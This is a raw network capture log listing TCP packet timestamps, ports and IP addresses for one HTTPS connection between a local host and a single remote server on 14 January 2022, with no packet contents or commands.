Jan 14, 2022 02:05:11.362231970 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.362245083 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.362277031 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.362451077 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.362488985 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.362540007 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.362555027 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.362588882 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.362703085 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.362742901 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.362790108 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.362802982 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.362838984 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.364025116 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.382479906 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.382543087 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.382597923 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.382616043 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.382662058 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.382908106 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.382960081 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.383155107 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.384610891 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.384634972 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.384668112 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.384680033 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.384690046 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.390614033 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.390640020 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.390669107 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.390678883 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.390742064 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.390789986 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.390803099 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.390866041 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.390877008 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.390933037 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.390938044 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.390953064 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.390971899 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.391009092 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.391016006 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.391076088 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.391081095 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.391094923 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.391112089 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.391134024 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.391149998 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.391314983 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.391346931 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.391385078 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.391450882 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.391462088 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.391474009 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.391489983 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.391961098 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.391969919 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.407044888 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.407090902 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.407131910 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.407146931 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.407186031 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.407358885 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.407394886 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.407661915 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.407727003 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.407741070 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.407756090 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.407851934 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.412292957 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.412336111 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.412399054 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.412412882 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.412465096 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.412497997 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.412617922 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.412658930 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.412704945 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.412714958 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.412765980 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.412785053 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.412934065 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.412970066 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.413002014 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.413019896 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.413052082 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.413239002 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.413276911 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.413296938 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.413312912 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.413328886 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.413346052 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.413563013 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.413943052 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.413984060 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.414043903 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.414057970 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.414115906 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.414174080 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.414319992 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.414356947 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.414635897 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.414652109 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.414670944 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.414999962 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.415504932 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.415602922 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.415677071 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.415689945 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.415708065 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.415884018 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.416060925 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.416100979 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.416147947 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.416161060 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.416194916 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.416292906 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.416328907 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.416395903 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.416409016 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.416462898 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.418601036 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.429945946 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.430022001 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.430079937 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.430090904 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.430138111 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.430377007 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.430452108 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.430495977 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.430510998 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.430540085 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.430593967 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.430876970 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.430932045 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.430974007 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.430989981 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.431022882 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.434622049 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.434979916 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.435026884 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.435081005 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.435096025 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.435142040 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.435343981 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.435420036 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.435461998 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.435847998 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.435915947 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.435928106 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.435976982 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.436043978 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.436158895 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.436194897 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.436289072 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.436302900 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.436336040 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.436556101 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.436593056 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.436640978 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.436652899 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.436810970 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.436846018 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.436881065 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.436903954 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.437011003 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.437037945 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.438177109 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.438280106 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.438329935 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.438343048 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.438397884 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.438414097 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.438963890 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.439026117 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.439078093 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.439093113 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.439132929 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.439266920 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.439301968 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.439357996 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.439372063 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.439414978 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.452251911 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.452291965 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.452342987 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.452357054 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.452411890 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.453298092 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.453407049 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.453461885 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.453481913 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.453504086 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.453908920 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.453947067 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.454000950 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.454015017 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.454047918 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.454175949 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.454214096 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.454618931 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.454632998 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.454646111 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.458008051 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.458049059 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.458230972 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.458246946 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.458260059 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.458894968 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.458933115 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.458985090 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.459000111 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.459033966 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.459209919 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.459244967 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.459517002 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.459568977 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.459582090 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.459599018 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.459634066 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.459937096 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.459979057 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.460011959 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.460030079 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.460046053 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.460401058 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.460441113 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.460464954 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.460472107 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.460489035 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.460505009 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.460509062 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.460521936 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.460721970 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.460758924 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.460778952 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.460794926 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.460813046 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.462022066 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.462060928 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.462094069 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.462100983 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.462121964 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.462130070 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.462165117 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.462172985 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.462178946 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.462333918 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.462371111 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.462425947 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.462435007 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.462470055 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.462599039 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.463833094 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.475164890 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.475208998 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.475255013 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.475269079 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.475405931 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.475414991 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.475950956 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.476007938 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.476056099 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.476068020 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.476103067 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.476264000 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.476303101 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.476325989 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.476351976 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.476365089 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.476397991 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.476730108 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.476769924 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.476792097 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.476807117 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.476818085 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.476938963 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.476950884 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.480336905 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.480375051 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.480626106 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.480643034 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.480659008 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.481745958 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.481828928 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.481884956 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.481903076 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.481945992 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.482461929 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.482547998 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.482600927 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.482623100 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.482662916 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.482862949 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.482901096 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.483051062 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.483064890 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.483112097 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.483175039 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.483211040 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.483232021 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.483242989 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.483262062 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.483453989 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.483489037 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.483536005 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.483546972 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.483555079 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.483566046 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.483588934 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.483609915 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.483712912 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.483755112 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.483799934 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.483812094 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.483854055 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.484105110 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.484112978 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.484874964 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.484914064 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.485105991 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.485121012 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.485135078 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.485241890 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.485280991 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.485399961 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.485610962 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.485624075 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.485635996 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.485692978 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.485723019 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.485761881 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.485841990 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.485856056 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.485912085 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.486001968 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.493182898 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.493195057 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.498040915 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.498084068 CET	443	49864	144.76.136.153	192.168.2.3
